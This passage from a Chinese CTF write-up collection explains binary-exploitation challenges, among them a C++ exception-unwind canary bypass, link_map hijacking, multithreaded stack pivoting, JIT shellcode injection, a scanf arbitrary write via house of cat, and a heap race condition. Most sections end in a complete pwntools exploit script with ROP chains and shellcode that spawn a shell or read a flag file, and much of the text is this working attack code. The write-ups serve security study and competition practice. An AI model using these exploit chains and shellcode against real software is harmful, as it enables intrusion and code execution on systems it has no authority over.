close(fd);
if(buf[0] == 0){
printf("%d: found: %d\n", count, buf[0]);
return 0;
}else{
printf("%d: failed: %d\n", count++, buf[0]);
}
}
}

image-20230201173334147

image-20230201173428907

至多几百次,至少十来次即可得到开头为\x00的随机数,所以我们只需要多次运行这个程序就有几率绕过检查。

在tool2的func2功能中,存在一个整数溢出漏洞

image-20230201174449126

这里的num可以为负数,在read_str函数中

image-20230201174629091

每次将num减一,当num为0时退出read_str函数,如果我们输入的值为负数,那么就可以实现一个无限读取。

image-20230201185707436

读取key,如果key的长度不为16,就会抛出一个异常。这里涉及到c++的异常抛出捕获机制

在IDA的汇编代码处可以看到try和catch关键字,在伪代码中看不到

image-20230201190311332

整个tool2函数都在try的代码块中,即tool2中的异常将会被捕获。在异常被抛出捕获且正确处理后,为了所有生命期已结束的对象都会被正确地析构,它们所占用的空间会被正确地回收,会触发栈回退(Stack Unwind)机制。

由于在func2中抛出的异常没有相应的catch来捕获异常,所以会触发栈回退顺着函数调用链往上,直到有catch来捕获异常

image-20231128140849371

在tool2中存在catch,func2中的异常会在tool2中被捕获,异常处理结束之后,会执行add rsp, 18h,pop rbx,pop rbp,ret,而不是func2的返回语句,这样一来就跳过了canary的检查。

怎么构造payload呢?

image-20231128145329992

由于这里会将rax赋值给[rbp-0x18],所以在构造payload时应该将rbp设置为一个可写地址,在后续异常处理结束的ret之前

image-20231128145603465

会抬栈0x18并且pop两个值,所以在ROP链之前还需要添加0x28的payload,exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *
context.log_level='debug'
context.terminal=['tmux','splitw','-h']
libc=ELF('./libc.so.6')
elf=ELF('./toolkit')

while True:
io=process('./toolkit')
io.recvuntil('[+] ')
io.sendline(str(0xDEAD00))
io.recvuntil('Password: ')
io.sendline('1')
if io.recvuntil("Gift: ", timeout=0.1) != '':
break
else:
io.close()
codebase = u64(io.recvuntil("\n\n")[:-2].ljust(8, '\x00')) - 0x1591
log.success('codebase => {}'.format(hex(codebase)))
pop_rdi_ret=0x0000000000002933
pop_rsi_r15_ret=0x0000000000002931
ret=0x000000000000101a
payload='flag\x00'
payload=payload.ljust(304,'a')
payload+=p64(codebase + elf.bss(0x200))
payload+=p64(codebase+0x25e0)
payload=payload.ljust(360,'a')
payload+=p64(codebase+pop_rdi_ret)
payload+=p64(codebase+0x5060)
payload+=p64(codebase+pop_rsi_r15_ret)
payload+=p64(0)+p64(0)
payload+=p64(codebase+0x0000000000001270)
payload+=p64(codebase+0x000000000000292A)
payload+=p64(0)+p64(1)+p64(3)+p64(codebase+0x5260)+p64(0x40)
payload+=p64(codebase+elf.got['read'])
payload+=p64(codebase+0x0000000000002910)
payload+='a'*56
payload+=p64(codebase+pop_rdi_ret)
payload+=p64(codebase+0x5260)
payload+=p64(codebase+0x0000000000001330)
io.recvuntil('[+] ')
io.sendline('2')
io.recvuntil('[-] ')
io.sendline('2')
io.recvuntil('Length: ')
io.sendline('-1')
io.recvuntil('Content: ')
io.sendline(payload)
# gdb.attach(io)
io.recvuntil('Key: ')
io.sendline('1')


io.interactive()

需要注意的是,返回地址需要设置为try和catch之间的地址,只有这样才能被捕获异常。

image-20230610161424394

按顺序执行4321的功能

看到sub_12B7函数

image-20230610161540735

v3为char类型,当v3为127时退出变量v4被置一,但这里判断之后再读取,所以当v3为127后依然会进行读取,并且写入的索引为++v3,而++v3为128,也就是0x80,由于v3为char类型,0x80实际上为-128,也就是会往a1[-0x80]位置处写入1个字节。

a1为0x4140,0x4140-0x80=0x40c0

image-20230610162346269

在功能3中会往0x40c0处的数据指向的内存中写入数据

image-20230610162440012

正常来说应该往0x00005555555592a0中写入数据,而由于我们可以修改0x5555555580c0地址末尾1字节的值,也就是可以将0x00005555555580c8的末尾一字节进行修改.

注意到

image-20230610163342760

40c0上方的4080处就是stdout指针,所以我们可以将0x00005555555580c8修改为0x0000555555558080,也就是指向stdout指针,这样在功能3执行时就会往stdout结构体中写入数据。

这道题的预期解是劫持link_map结构体,所以我这里也按照预期解的思路进行操作

由于可以往stdout结构体中写入数据,所以我们可以泄露libc和pie地址

image-20230610164057731

通过改小_IO_write_base的值,就会输出_IO_write_ptr-_IO_write_base之间的数据,由此来得到pie的地址。

在延迟绑定机制中,会push两个值,一个是该函数在rel.plt上的偏移,另一个则是link_map结构体的地址

image-20230610171159898

link_map的地址存放在0x555555558008中,这个地址是.got.plt段的第二个字段

image-20230610171308263

之后会调用dl_runtime_resolve函数,在dl_runtime_resolve中会调用_dl_fixup函数,_dl_fixup又会调用_dl_lookup_symbol函数

image-20230610171820970

_dl_lookup_symbol函数的作用是在动态链接的库中查找符号,并返回符号的地址,所以如果我们能劫持查找的符号名,就能够劫持延迟绑定机制。

image-20230610173847089

1
2
3
struct link_map *l
const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);
#define DT_STRTAB 5 /* Address of string table */

strtab是link_map结构体中l_info数组的第六个元素

image-20230610174110484

image-20230610174230998

image-20230610174353727

在程序结尾,会调用free函数,此时会进行延迟绑定机制,所以我们考虑劫持free函数。

image-20230610190012660

功能2和功能1实际上和功能4,3是一样的。由于我们要劫持link_map结构体,所以在功能2处我们将末尾一字节修改为link_map结构体的地址,也就是got表的第二项的地址。

image-20230610190444256

之后我们就可以修改link_map结构体的值了,link_map结构体开头如下

image-20230610190919603

l_addr实际上是pie的地址

image-20230610191115941

当dl_runtime_resolve执行结束后,函数的真实地址就会被写入到l_addr+sym.got

image-20230610191356509

而l_info[5]位于link_map结构体的0x68偏移处,而我们可以将这个值修改为一个我们可控的内存地址,而我们可控的内存地址也只有0x4140,我们在其中构造好_dl_lookup_symbol函数需要的参数,将free解析为system函数。然而后面调用free的时候,则是free(ptr)

image-20230610192437699

ptr并不是我们可控的,这样想构造system(“/bin/sh”)就有了点问题。这里就需要使用到l_addr,我们将l_addr稍微改大一点,使得l_addr+free@got=puts@got,这样一来system函数的地址就会被写入puts的got表中,后续调用puts(byte_4140)实际上就是调用system(byte_4140),只需要提前在0x4140处写入/bin/sh字符串就可以getshell。

接下来看到需要在0x4140构造什么样的数据。

image-20230610193233443

strtab为0x0000555555554570,对于alarm函数而言,sym->st_name为0x48,这个可以通过计算得到,也可以直接在gdb中查看

image-20230610193444101

那么对于free函数,sym->st_name应该是多少

image-20230610193512246

对于free函数,sym->st_name为0x77

所以,如果我们将l_info[5]设置为0x4140,那么我们需要在0x4140+0x77处构造好system字符串,同时在0x4140开头构造好/bin/sh.

image-20230610193836455

puts的got表在free的got表后面8字节,所以我们只需要将l_addr在原来的基础上加8就可以。

整个攻击流程如下

image-20230610200921329

l_info[5]已经被修改为了0x4140

image-20230610201018484

l_addr也被修改为了pie+8

在0x4140开头,我们构造好/bin/sh字符串,第二个八字节就是strtab的地址,这里我们依然设置为0x4140,然后在0x4140处设置好system字符串。

image-20230610201217680

如上图,system字符串可以顺利找到。

image-20230610201905708

_dl_lookup_symbol_x函数也会去解析system函数

image-20230610202014736

解析完成后,puts的got表中也被写入了system函数的地址。

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *
context.log_level='debug'
libc=ELF('./libc.so.6')

def pwn():
io.recvuntil('Age >> ')
io.send('\x00'*0x80+'\x80')

io.recvuntil('Photo(URL) >> ')
io.sendline(p64(0xfbad1887)+p64(0)*3+'\xb0\x5d')
pie_base = u64(io.recv(6, timeout = 0.5).ljust(8, b'\x00')) - 0x40a0
if (pie_base & 0xfff) != 0 :
exit(-1)
success('pie_base => {}'.format(hex(pie_base)))
io.recvuntil('Name >> ')
payload='/bin/sh\x00'
payload+=p64(pie_base+0x4140)
payload=payload.ljust(0x77,'\x00')
payload+='system'
payload=payload.ljust(0x80,'\x00')
payload+=p8(0x8)
io.send(payload)
payload=p64(pie_base+0x8).ljust(0x68,'\x00')
payload+=p64(pie_base+0x4140)
io.recvuntil('Hobby >> ')
# gdb.attach(io)
# pause()
io.sendline(payload)

io.interactive()

if __name__ == '__main__':
while True:
global io
try:
io=process('./pwn')
pwn()
break
except:
io.close()

0x13.DASCTF 6th A_dream 【多线程pwn,栈迁移】

一道多线程的栈溢出

image-20230611163205963

image-20230611163226229

开了很严格的沙箱,禁止了orw

image-20230611163403999

启动一个线程

image-20230611163431975

在这个线程函数中定时打印。

image-20230611163916038

在下面的函数中,也就是主线程中开启沙箱,并存在一个栈溢出,能够刚好覆盖到返回地址。

由于溢出字节不够,所以肯定得栈迁移。

栈迁移往bss段迁移,一般的栈迁移得将返回地址设置为leave ret,但这里只有一次输入机会,所以如果设置为leave ret后续也没有继续操作的机会了,因此第一次溢出返回地址不能设置为leave ret,那么该如何操作?

还是将rbp覆盖为要迁移过去的地址加上缓冲区的大小,即bss+0x40,将返回地址覆盖为read函数开始处,如下

image-20230611165629336

image-20230611165753115

leave相当于mov rsp,rbp;pop rbp,执行完leave之后rbp将会被设置为bss段的地址

image-20230611165914314

然后继续调用溢出函数,由于溢出函数的buffer是以rbp的值为基准的,所以在这一次溢出之中,read函数将往bss段写入数据。在这一次读取中,我们直接将后需要执行的rop链写入bss段中,然后将rbp覆盖为bss-0x8,将返回地址设置为leave ret,这样一来就会栈迁移到bss处继续往下执行,而由于一开始rbp的值为bss+0x40,后续read将往bss+0x40-0x40中写入数据,所以栈迁移过去之后就会直接执行我们事先写入的ROP链。

那么我们的ROP链要进行什么操作?由于主线程中存在沙箱,无法getshell或者orw,那么只能在子线程中做手脚。子线程中调用了write函数,如果我们劫持write的got表为read的溢出函数,那么我们就能够在子线程中进行溢出操作。所以在前面的ROP链中我们将对write函数的got表进行修改。修改了got表之后再调用sleep函数使主线程进入阻塞,因为如果主线程结束了那么子线程也会消失,我们需要阻塞主线程使得我们能够对子线程进行操作。

我们往bss段中写入如下数据

1
2
payload=p64(pop_rsi_r15)+p64(elf.got['write'])+p64(0)+p64(elf.plt['read'])+p64(pop_rdi)+p64(0x1000)+p64(elf.plt['sleep'])
payload=payload.ljust(0x40,b'\x00')+p64(bss-8)+p64(leave_ret)

image-20230611171124501

栈迁移之后

image-20230611171211263

会执行read函数读取我们输入的数据来修改write的got表,随后进入sleep状态。然后子线程调用write函数时就会调用存在溢出的read。

这里有一点需要注意的是,如下图

image-20230611171634200

这是调用write函数的栈空间,调用write首先会call write的plt,在call一个函数的时候会将其返回地址压栈,栈会变成如下所示:

image-20230611171744954

而当我们将write的got表修改为了溢出点之后,调用read@plt的时候,栈空间是这个样子

image-20230611172110874

相比正常调用write函数时多压了一个返回地址,这是因为一开始调用write@plt会压入一条返回地址,后面调用read@plt也会压入一条返回地址。那么read函数的buffer是哪

image-20230611172251159

由于返回地址位于0x7fa0e3c1fee0处,所以我们只需要填充0x30的垃圾字符就能劫持控制流,在这一次溢出之中,我们将要泄露libc地址,返回地址依然设置为存在溢出的read,其实得到libc地址之后就能够故技重施调用system(“/bin/sh”),但system这里栈对其有点问题,多出来的字节也只能写一个ret,所以不能够直接将返回地址修改为system,还是需要像前面那样进行栈迁移以扩充我们的可用字节数。

由于子线程的栈是mmap出来的一块内存,所以相对于libc的偏移固定,我们只需要计算出libc地址,就能够得到子线程的栈地址。然后我们直接将system的rop链写入到buffer中,然后将rbp修改为buffer-8,返回地址修改为leave ret,这样最后就会栈迁移到buffer开头处执行我们的ROP链,exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *
context.log_level='debug'
# io=gdb.debug('./pwn_9','break 0x000000000040136E')
io=process('./pwn_9')
elf=ELF('./pwn_9')
libc=ELF('/lib/x86_64-linux-gnu/libc-2.31.so')

bss=elf.bss()+0x100
magic_read=0x00000000004013AE
pop_rdi=0x0000000000401483
pop_rsi_r15=0x0000000000401481
leave_ret=0x000000000040136c
payload=b'a'*0x40+p64(bss+0x40)+p64(magic_read)
io.send(payload)
sleep(0.1)
payload=p64(pop_rsi_r15)+p64(elf.got['write'])+p64(0)+p64(elf.plt['read'])+p64(pop_rdi)+p64(0x1000)+p64(elf.plt['sleep'])
payload=payload.ljust(0x40,b'\x00')+p64(bss-8)+p64(leave_ret)
gdb.attach(io)
pause()
io.send(payload)
sleep(0.1)

io.send(p64(magic_read))
sleep(0.1)
payload=b'a'*0x30+p64(pop_rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(magic_read)

io.send(payload)
sleep(0.1)
libc_base=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-libc.sym['puts']
system_addr=libc_base+libc.symbols['system']
binsh_addr=libc_base+next(libc.search(b'/bin/sh\x00'))
thread_stack_addr=libc_base-0x4150
log.success('libc_base => {}'.format(hex(libc_base)))
log.success('system_addr => {}'.format(hex(system_addr)))
log.success('binsh_addr => {}'.format(hex(binsh_addr)))
ret=0x000000000040101a
payload=p64(pop_rdi)+p64(binsh_addr)+p64(system_addr)
payload=payload.ljust(0x40,b'\x00')+p64(thread_stack_addr-0x8)+p64(leave_ret)
# payload=b'a'*0x30+p64(ret)+p64(pop_rdi)+p64(binsh_addr)+p64(system_addr)
io.send(payload)


io.interactive()

0x14.铁三决赛 fast_emulator 【JIT pwn】

image-20230611175737513

一道JIT的pwn题,之前没接触过这种类型的题目,比赛时没做出来。

image-20230611175916810

输入汇编指令,然后程序会对其进行解析,其中parse_line函数是取出每一行指令,然后送入write_code函数将指令转换成字节码。

看到write_code函数

image-20230612103400858

image-20230612103443402

image-20230612103459381

本质上就是通过检测指令助记符是哪个,然后设置对应的字节码,这里的漏洞在load指令解析处

image-20230612103918902

首先将a2,也就是指令缓冲区开头两字节设置为0xc748,接着检测后面的字符是否为r,即检测第一个操作值是否为r1-r4,是的话就将指令缓冲区后面添加相应的字节码,c0-c3.

然后开始检测第二个操作值是否是十六进制数(开头是否为0x),是的话就将其转换成16进制,再将转换之后的数据存入缓冲区之中。

image-20230612105932686

这里memcpy默认的长度为4,然而当转换16进制数之后的长度大于4的情况下,就会将多余的十六进制数也拷贝到字节码缓冲区中。

然而,在解析指令的时候,立即数的长度为4字节,多出来的字节会被解析为其他指令

输入下图指令

image-20230612112922950

输入load r1, 0x1234567878563412,解析的指令如下

image-20230612113012032

很明显,from_hex除了将字符串转换成16进制数以外,还转换了字节序。我们需要利用溢出的字节来执行我们自己的shellcode。

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *
context.log_level='debug'
io=process('./fast_emulator')
# gdb.attach(io,'b *$rebase(0x0000000000001a1d)')
# pause()
io.recvuntil('Please enter the number of lines you want to enter: ')
io.sendline(b'4')
io.recvuntil('> ')
io.sendline(b'load r2 0x'+b'd23148f63148583b6a'+b'00000000')
io.recvuntil('> ')
io.sendline(b'load r2 0x'+b'68732f6e69622f2fbb48'+b'00000000')
io.recvuntil('> ')
io.sendline(b'load r2 0x'+b'e789485308ebc148'+b'00000000')
io.recvuntil('> ')
io.sendline(b'load r2 0x'+b'050f'+b'00000000')

'''
push 0x3b
pop rax
xor rsi,rsi
xor rdx,rdx
mov rbx,0x68732f6e69622f2f
shr rbx,8
push rbx
mov rdi,rsp
syscall
'''

io.interactive()

注意,这里输入shellcode的字节码的时候,应该和正常的字节码的顺序相反,因为from_hex会做一次逆序。

image-20230612162212897

0x15.CISCN2023 华南赛区 easynote 【scanf导致任意地址写】

很隐蔽的漏洞点

在使用scanf时,第二个参数应该传入变量的地址,形如

1
scanf("%ld",&size);

而在IDA的伪代码中不会显示&

image-20230708135313789

在汇编中表示为lea这个指令取出地址

image-20230708135350285

而在这题中

image-20230708135850757

对于size则是使用mov指令,正常情况是往size的地址中写入8字节的值,但在这里就是以size的值为地址写入8字节,如果能控制size就能够造成任意地址写。

如下图

image-20230708140857646

size的地址为0x7fffffffda50,但在scanf中却是以size的值0x4040d0作为写入的地址 。

因此如果我们能够修改size的值,就可以使用scanf实现任意地址写

在get_int函数中

image-20230714204242925

读取0x20字节的数据,然后使用atoi函数将其转换成整型

image-20230714204358464

v1恰好可以覆盖到size的值。

image-20230714204605670

程序没有开启RELRO,got表可写。

首先来泄露libc地址,由于got表可写,所以可以将atoi的got表覆盖为printf的plt表,并且由于atoi的参数可控,则printf的参数也可控,这样就能够导致格式化字符串漏洞。

通过格式化字符串漏洞可以泄露栈地址、libc地址等各种地址。

有了栈地址和libc地址之后我原本打算将ROP链写入到show或者其他功能的返回地址处,但是由于每次只能写8字节,且show功能和add功能的栈空间有重叠,无法完全写入ROP链,所以这里就需要想别的利用方式。

这题的bss段中有stdout的got表

image-20230720104204799

所以可以劫持stdout到我们伪造的FILE结构体处,然后触发house of cat进行ROP。

这里选择使用house of cat

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
from pwn import *
context.log_level='debug'
io=process('./easynote')
elf=ELF('./easynote')
libc=ELF('./libc.so.6')

def add(size,content):
io.recvuntil('Choice :\n')
io.sendline('1')
io.recvuntil(b'talk\n')
io.sendline(str(size))
io.recvuntil('Say?\n')
io.send(content)

def show():
io.recvuntil('Choice :\n')
io.sendline('2')

def edit(content):
io.recvuntil('Choice :\n')
io.sendline('3')
io.recvuntil('Content :\n')
io.send(content)

def dele():
io.recvuntil('Choice :\n')
io.sendline('4')

def setval(addr,val):
io.recvuntil('Choice :\n')
payload=b'a'
payload=payload.ljust(0x18,b'\x00')
payload+=p64(addr)
io.send(payload)
add(val,b'\x1a')


setval(elf.got[b'atoi'],elf.plt[b'printf'])

io.recvuntil('Choice :\n')

payload='%p%17$p'
io.send(payload)
stack_addr=int(io.recv(14),16)
libc_base=int(io.recv(14),16)-0x29d90
open_addr=libc_base+libc.symbols['open']
read_addr=libc_base+libc.symbols['read']
write_addr=libc_base+libc.symbols['write']
setcontext=libc_base+libc.symbols['setcontext']+61
pop_rdi=libc_base+0x000000000002a3e5
pop_rsi=libc_base+0x000000000002be51
pop_rdx_r12=libc_base+0x000000000011f497
file_addr=0x00000000004040A0 + 0x300
io_wfile_jumps=libc_base+0x2160c0
rop_addr=file_addr-0x100
ret=libc_base+0x0000000000029cd6

log.success('stack_addr => {}'.format(hex(stack_addr)))
log.success('libc_base => {}'.format(hex(libc_base)))
log.success('open_addr => {}'.format(hex(open_addr)))
log.success('read_addr => {}'.format(hex(read_addr)))
log.success('write_addr => {}'.format(hex(write_addr)))


io.recvuntil('Choice :\n')
payload=b'a'.ljust(0x18,b'\x00')
payload+=p64(elf.got[b'atoi'])
io.send(payload)
io.recvuntil(b'talk\n')
io.sendline(str(0x4010c0))
io.recvuntil('Say?\n')
io.send('a')

setval(file_addr,0)
setval(file_addr+8,0)
setval(file_addr+0x10,0)
setval(file_addr+0x18,0)
setval(file_addr+0x20,0)
setval(file_addr+0x28,0)
setval(file_addr+0x30,0)
setval(file_addr+0x38,0)
setval(file_addr+0x40,1)
setval(file_addr+0x48,0)
setval(file_addr+0x50,file_addr+0xb0)
setval(file_addr+0x58,setcontext)
setval(file_addr+0x60,0)#chain
setval(file_addr+0x68,0)
setval(file_addr+0x70,0)
setval(file_addr+0x78,0)
setval(file_addr+0x80,0)
setval(file_addr+0x88,file_addr+0x200)
setval(file_addr+0x90,0)
setval(file_addr+0x98,0)
setval(file_addr+0xa0,file_addr+0x30)
setval(file_addr+0xa8,0)
setval(file_addr+0xb0,0)
setval(file_addr+0xb8,0)
setval(file_addr+0xc0,0)
setval(file_addr+0xc8,0)
setval(file_addr+0xd0,0)
setval(file_addr+0xd8,io_wfile_jumps+0x10)
setval(file_addr+0xd8+0x38,file_addr+0x40)

setval(file_addr+0xb0+0xa0,rop_addr)
setval(file_addr+0xb0+0xa8,ret)
setval(file_addr-0x200,u64(b'flag'.ljust(8,b'\x00')))

payload=[pop_rdi,file_addr-0x200,pop_rsi,0,open_addr,pop_rdi,3,pop_rsi,file_addr+0x100,pop_rdx_r12,100,0,read_addr,pop_rdi,1,pop_rsi,file_addr+0x100,pop_rdx_r12,100,0,write_addr]
for x in payload:
setval(rop_addr,x)
rop_addr+=8



io.recvuntil('Choice :\n')
payload=b'a'.ljust(0x18,b'\x00')
payload+=p64(0x4040a0)
io.send(payload)
# gdb.attach(io,'b* (_IO_wfile_seekoff)')
io.recvuntil('Choice :\n')
io.sendline('1')
io.recvuntil(b'talk\n')
io.sendline(str(file_addr))


io.interactive()

0x16.巅峰极客2023 linkmap 【栈迁移,构造syscall】

image-20230721194230500

FULL RELRO,那么就没有延迟绑定机制,也就用不到linkmap结构体。

image-20230721195240750

有一个很大的栈溢出,但是没有输出函数。

通常来说程序里会存在一个编译器生成的gadget

1
2
3
add dword ptr [rbp - 0x3d], ebx ; 
nop dword ptr [rax + rax] ;
ret

只要能控制rbp和ebx的值就能够在栈上得到任意值。

但这题规避了这个gadget

不过这题自己有一些类似于后门函数的操作

image-20230721195811070

这里将第一个参数的值指向的内存的数据赋给0x601040,我们需要获得libc地址,就可以通过这个操作,将read@got的地址作为第一个参数传入,就可以将read函数的真实地址写入0x601040.

image-20230721200219951

注意到read函数的开头处存在syscall,所以可以通过溢出构造出read函数将0x601040的末尾1字节修改为0x90,这样就能够得到syscall

整体思路就是通过不断地栈迁移写入数据,得到syscall,利用ret2csu构造出execve(“/bin/sh”,0,0)

execve系统调用号为59,可以通过read的返回值来构造,读取59个字符就能够将rax设置为59

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from pwn import *
context.log_level='debug'
io=process('./ezzzz')
elf=ELF('./ezzzz')
context.arch='amd64'

backdoor=0x0000000000400606
csu_pop=0x00000000004007DA
'''
.text:00000000004007DA 5B pop rbx
.text:00000000004007DB 5D pop rbp
.text:00000000004007DC 41 5C pop r12
.text:00000000004007DE 41 5D pop r13
.text:00000000004007E0 41 5E pop r14
.text:00000000004007E2 41 5F pop r15
.text:00000000004007E4 C3 retn
'''

pop_rdi=0x00000000004007e3
pop_rsi_r15=0x00000000004007e1
leave_ret=0x0000000000400712
read_addr=0x0000000000400752

def ret_csu(func,arg1,arg2,arg3):
payload=p64(0)+p64(1)+p64(func)
payload+=p64(arg1)+p64(arg2)+p64(arg3)
payload+=p64(0x00000000004007C0)+p64(0)
return payload

payload1='A'*0x10+p64(elf.bss(0x300)+0x10)+p64(read_addr)
sleep(1)

io.send(payload1)
payload2='A'*0x10+p64(elf.bss(0x400))+p64(pop_rdi)+p64(elf.got['read'])+p64(backdoor)+p64(read_addr)

sleep(1)
io.send(payload2)
payload3='/bin/sh\x00'+'A'*0x8+p64(elf.bss(0x500))+p64(read_addr)
sleep(1)

io.send(payload3)
payload4='A'*0x10+p64(elf.bss(0x600))+p64(pop_rdi)+p64(0)+p64(pop_rsi_r15)+p64(0x601040)+p64(0)+p64(0x00000000004004E0)+p64(read_addr)
sleep(1)
io.send(payload4)

sleep(1)
io.send(p8(0x90))
payload5='A'*0x10+p64(elf.bss(0x700))+p64(pop_rdi)+p64(0)+p64(pop_rsi_r15)+p64(elf.bss(0x100))+p64(0)+p64(0x00000000004004E0)+p64(csu_pop)+ret_csu(0x601040,0,0,0x601400)
sleep(1)
# gdb.attach(io)
# pause()
io.send(payload5)
sleep(1)
io.send('a'*59)
io.interactive()

0x17.CISCN2023华南赛区 Virtual_World

image-20230723153622569

打开是一个菜单堆

在初始化函数中

image-20230723153926813

mmap出来了一块内存,并设置了一个结构体

image-20230723154013829

如上图,edit函数中,存在越界读漏洞。

image-20230723154159228

dele函数中存在uaf

image-20230723154230237

根据堆中的执行vm_handler

image-20230723154847318

opcode为4字节一组,不能超过6,功能1为push,将一个值压入栈中;功能2为

0x18.羊城杯2023shellcode 【shellcode】

主函数如下

image-20231019193732641

输入ye以外的数据进入到else分支

image-20231019193809273

只允许输入0x10字节的code,但由于if判断在输入的后面,所以实际上可以输入0x11字节的数据。数据的范围被限制在0x4f-0x5f之间

1
2
3
4
5
from pwn import *
context.arch='amd64'
# context.log_level='debug'
for i in range(0x4f,0x60):
print(disasm(i.to_bytes(1,'little')))
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
0:   4f                      rex.WRXB
0: 50 push rax
0: 51 push rcx
0: 52 push rdx
0: 53 push rbx
0: 54 push rsp
0: 55 push rbp
0: 56 push rsi
0: 57 push rdi
0: 58 pop rax
0: 59 pop rcx
0: 5a pop rdx
0: 5b pop rbx
0: 5c pop rsp
0: 5d pop rbp
0: 5e pop rsi
0: 5f pop rdi

对所有寄存器的push和pop

读取完输入之后开启了沙箱,然后执行我们输入的code

image-20231019200418058

沙箱的意思是read系统调用的fd只能为0,write系统调用的fd要大于2,使用dup2重定向一下文件描述符即可。

只能输入0x17字节的shellcode,这是不够我们利用的,所以肯定得构造出read系统调用来读取更多的shellcode,syscall的字节码如下

image-20231019201643643

这不在可输入的范围内,该如何输入syscall

image-20231019201906212

注意到,只要输入不为ye,就会进入到else分支,因此可以在这里输入syscall的字节码,字节码将存储在buf中,刚执行shellcode时,寄存器和栈空间如下

image-20231019212923924

rbx为0,可用于read系统调用的rax和rdi,rax为一个栈地址,可用于read的rsi,read的rdx不能太大否则会crash,可以将syscall的字节码0x50f作为rdx,构造好了read的各个寄存器之后,还需要最后使0x50f拼接到shellcode之后,从而执行syscall。

image-20231019213434594

0x50f位于shellcode下方0x20处,将rsp迁移到0x50f的栈地址之后,再将0x50f连续push四次即可将shellcode和syscall拼接起来。

然后就可以通过read读取下一段shellcode,构造出符合沙箱条件的shellcode即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from pwn import *
context.arch='amd64'
context.log_level='debug'
context.terminal = ['tmux','splitw','-h']
io=process('./shellcode')
shellcode1='''
push rax
pop rsi
push rbx
pop rax
push rbx
pop rdi
pop rcx
pop rcx
pop rsp
pop rbx
push rbx
push rbx
push rbx
push rbx
push rbx
pop rdx
'''
io.recvuntil('(ye / no)\n')
io.send(b'\x0f\x05')
io.recvuntil('========\n')
io.send(asm(shellcode1).ljust(0x11,b'\x50'))

shellcode2=b'\x90'*0x12
shellcode2+=asm('''
mov rax, 0x67616c66
push rax
mov rdi,rsp
mov rax,2
xor rsi,rsi
syscall

mov rdi,rax
mov rax,33
mov rsi,0
syscall

mov rdi,0
mov rsi,rsp
add rsi,0x200
mov rdx,0x100
mov rax,0
syscall

mov rax,33
mov rdi,1
mov rsi,5
syscall

mov rdi,5
mov rsi,rsp
add rsi,0x200
mov rax,1
mov rdx,0x100
syscall
ret
''')
# gdb.attach(io)
io.send(shellcode2)
io.interactive()

0x19.羊城杯2023heap 【多线程条件竞争】

image-20231020151435925

一个多线程的堆题

image-20231020151620394

在edit功能中存在一个sleep(1),然后再进行strcpy,如果在edit时,我们free掉这个正在被edit的chunk再申请一块size更小一点的chunk,就能够导致堆溢出。

这是一个条件竞争漏洞。

在add功能中

image-20231020153118764

先分配一个0x10的chunk,然后再申请用户需要的chunk,size限制在0x50-0x68之间,申请出来的chunk如下所示

image-20231023220654218

小chunk的前8字节存储着用户chunk的地址,第二个8字节存储着用户chunk的size。

如何利用条件竞争漏洞呢?

首先

image-20231023223027053

size是根据index来的,如果在sleep前后,s[index]中存储的chunk指针发生了变化,就能够导致一个堆溢出的漏洞。比如s[0]一开始存储的是0x63的chunk,那么size将被赋值为0x63,而如果在sleep过程中,s[0]被修改为了0x60的chunk,那么就可以通过s[0]溢出到下一个chunk的size中。

首先来泄露libc地址

image-20231023225154023

由于fgets会在输入的末尾添加0,所以常规的通过堆上残留的地址信息来泄露libc地址的方法是行不通的。

在edit功能中

image-20231023231635047

是通过小chunk中存储的指针来索引堆块的,只要能修改这个指针,我们就能够泄露出想要的数据。

image-20231023231952778

线程中的堆块是在mmap中开辟出来的内存中的。由于会在末尾添加0,所以对于这个指针的修改至多只能是2字节 ,看看修改末尾2字节能够找到哪些数据:

image-20231023232215121

在0x7f0b6c000000+0x8a0处,可以找到一个libc地址,可以通过堆溢出将chunk指针的末尾两字节修改为0x8a0来进行泄露

将下一个chunk修改为如下图所示

image-20231029170143549

image-20231029170207110

如此一来就能够泄露libc地址了。

然后再故技重施,泄露栈地址,不过栈地址不能使用environ指针来泄露了,因为environ的值的末尾1字节为00,会被strncpy截断,所以需要换一个

image-20231029172025948

参数的指针也是可以的

image-20231029172117725

得到栈地址之后,进而可以计算出pthread_create的返回地址

image-20231029193702948

然后再使用第三次堆溢出,修改返回地址的值为onegadget

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
from pwn import *
context.log_level='debug'
